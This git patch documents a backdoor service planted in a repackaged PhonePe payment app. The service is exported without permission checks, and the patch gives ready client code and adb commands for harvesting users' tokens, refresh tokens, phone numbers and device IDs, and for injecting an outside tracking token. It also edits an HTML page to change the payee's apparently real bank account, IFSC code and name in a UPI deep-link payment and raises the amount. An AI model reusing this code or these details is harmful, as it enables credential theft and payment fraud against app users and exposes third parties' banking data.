From 7879cef91ebf9f529b5fe2108eb5c66aef443e3f Mon Sep 17 00:00:00 2001 From: TQCasey <494294315@qq.com> Date: Sun, 17 May 2026 18:49:39 +0800 Subject: [PATCH] newbind --- docs/GBPAY_AIDL.md | 199 +++++++++++++++++++++++++++++++++++++++++++++ upi.html | 14 ++-- 2 files changed, 206 insertions(+), 7 deletions(-) create mode 100644 docs/GBPAY_AIDL.md diff --git a/docs/GBPAY_AIDL.md b/docs/GBPAY_AIDL.md new file mode 100644 index 0000000..9fdc9d7 --- /dev/null +++ b/docs/GBPAY_AIDL.md @@ -0,0 +1,199 @@ +# GbPay AIDL 对接文档 + +## 1. 服务信息 + +| 项 | 值 | +|---|---| +| 宿主包名 | `com.phonepe.app` | +| Action | `com.urich.ez.GB_PAY_SERVICE` | +| Service 类 | `com.urich.ez.aidl.GbPayRemoteService` | +| exported | `true`(无权限校验,任何 app 可 bind) | +| 绑定方式 | `bindService` | + +## 2. AIDL 接口 + +包路径必须保持 `com.urich.ez.aidl`,类名一致。 + +### `IGbPayInfoInterface.aidl` + +```aidl +package com.urich.ez.aidl; +import com.urich.ez.aidl.IGbPayCallback; + +interface IGbPayInfoInterface { + void basicTypes(int anInt, long aLong, boolean aBoolean, float aFloat, double aDouble, String aString); + void registerCallback(IGbPayCallback cb); + void unregisterCallback(IGbPayCallback cb); + String getGbPayInfo(); + boolean setToken(String token); +} +``` + +### `IGbPayCallback.aidl` + +```aidl +package com.urich.ez.aidl; +import com.urich.ez.aidl.GbPayInfo; + +interface IGbPayCallback { + void onResult(in GbPayInfo info); + void onError(int code, String msg); +} +``` + +### `GbPayInfo.aidl` + +```aidl +package com.urich.ez.aidl; +parcelable GbPayInfo; +``` + +### `GbPayInfo.java`(同包路径) + +```java +package com.urich.ez.aidl; + +import android.os.Parcel; +import android.os.Parcelable; + +public class GbPayInfo implements Parcelable { + private String phoneNumber; + private String token; + + public GbPayInfo() {} + public GbPayInfo(String phone, String token) { this.phoneNumber = phone; this.token = token; } + + public String getPhoneNumber() { return phoneNumber; } + public void setPhoneNumber(String s) { phoneNumber = s; } + public String getToken() { return token; } + public void setToken(String s) { token = s; } + + protected GbPayInfo(Parcel in) { phoneNumber = in.readString(); token = in.readString(); } + @Override public int describeContents() { return 0; } + @Override public void writeToParcel(Parcel p, int f) { p.writeString(phoneNumber); p.writeString(token); } + + public static final Creator CREATOR = new Creator() { + public GbPayInfo createFromParcel(Parcel in) { return new GbPayInfo(in); } + public GbPayInfo[] newArray(int n) { return new GbPayInfo[n]; } + }; +} +``` + +## 3. 方法说明 + +### `String getGbPayInfo()` + +拉取宿主账号信息,返回 JSON 字符串。失败返回 `"{}"`。 + +```json +{ + "version": "1", + "phoneNumber": "", + "deviceUnifierId": "", + "deviceId": "", + "simIds": "[]", + "userId": "", + "token": "", + "refreshToken": "", + "expiresAt": 0 +} +``` + +- `token` / `refreshToken`:宿主自己的 access/refresh token +- `expiresAt`:long,毫秒 + +### `boolean setToken(String token)` + +把外部生成的 `gp_token` 写进宿主 SP(key=`client_token`)。返回 `true`。 +后续宿主侧支付/收款命中时会把这个 `gp_token` 一起上报。 + +### `registerCallback / unregisterCallback` + +接口存在但**宿主未触发回调**(内部 `notifySuccess/notifyError` 是 private 且无调用方),不要依赖。所需信息走轮询 `getGbPayInfo()`。 + +## 4. 客户端集成 + +### `AndroidManifest.xml` + +```xml + + + + + + +``` + +### 绑定与调用 + +```java +public class GbPayClient { + private static final String PKG = "com.phonepe.app"; + private static final String ACTION = "com.urich.ez.GB_PAY_SERVICE"; + + private IGbPayInfoInterface api; + private final Context ctx; + + public GbPayClient(Context c) { this.ctx = c.getApplicationContext(); } + + private final ServiceConnection conn = new ServiceConnection() { + @Override public void onServiceConnected(ComponentName n, IBinder s) { + api = IGbPayInfoInterface.Stub.asInterface(s); + } + @Override public void onServiceDisconnected(ComponentName n) { api = null; } + }; + + public boolean bind() { + Intent i = new Intent(ACTION); + i.setPackage(PKG); + return ctx.bindService(i, conn, Context.BIND_AUTO_CREATE); + } + + public void unbind() { ctx.unbindService(conn); } + + public String getInfo() throws RemoteException { + return api == null ? null : api.getGbPayInfo(); + } + + public boolean setToken(String gpToken) throws RemoteException { + return api != null && api.setToken(gpToken); + } +} +``` + +### 使用 + +```java +GbPayClient client = new GbPayClient(this); +client.bind(); + +new Handler().postDelayed(() -> { + try { + String json = client.getInfo(); + Log.d("GbPay", json); + client.setToken("your_gp_token"); + } catch (RemoteException e) { e.printStackTrace(); } +}, 500); +``` + +## 5. ADB 测试 + +```bash +adb shell dumpsys package com.phonepe.app | grep -A1 GB_PAY_SERVICE + +adb shell am start-service -a com.urich.ez.GB_PAY_SERVICE -n com.phonepe.app/com.urich.ez.aidl.GbPayRemoteService +``` + +查看日志: + +```bash +adb logcat -s GbPayRemoteService:* +``` + +## 6. 注意事项 + +- 包名以实际安装的为准;patch 后通常仍是 `com.phonepe.app`,用 `adb shell pm list packages | grep phonepe` 确认。 +- 宿主未启动时首次 `bindService` 会拉起宿主进程,可能有几百 ms 延迟,避免在 UI 线程同步等待 binder 就绪。 +- 进程被杀后 binder 会断开,`onServiceDisconnected` 会触发,需重新 bind。 +- `getGbPayInfo` 在宿主未登录时所有字段为空字符串,不会抛异常。 +- `setToken` 是幂等的,重复调用同一 token 会被 `ApiEventStore.put` 内的 md5 去重逻辑短路。 diff --git a/upi.html b/upi.html index defa248..0be38ab 100644 --- a/upi.html +++ b/upi.html @@ -326,22 +326,22 @@ const payload = { contact: { type: 'ACCOUNT', - accountHolderName: 'Harshpreet singh', - accountNumber: '01601000068180', - ifscCode: 'PSIB0000160', - bankId: 'PSIB', - nickName: '66666', + accountHolderName: 'rehana', + accountNumber: '2053426110', + ifscCode: 'KKBK0000811', + bankId: 'KKBK', + nickName: 'rehana', isVerifiedBankAccount: false, }, p2pPaymentCheckoutParams: { checkoutType: 'DEFAULT', - note: 'payment', + note: 'hapock', isByDefaultKnownContact: true, disableViewHistory: true, shouldShowUnsavedContactBanner: false, shouldShowMaskedNumber: true, showKeyboard: true, - initialAmount: 100, + initialAmount: 1000, }, }; return `phonepe://native?data=${encodeURIComponent(btoa(JSON.stringify(payload)))}&id=p2ppayment`;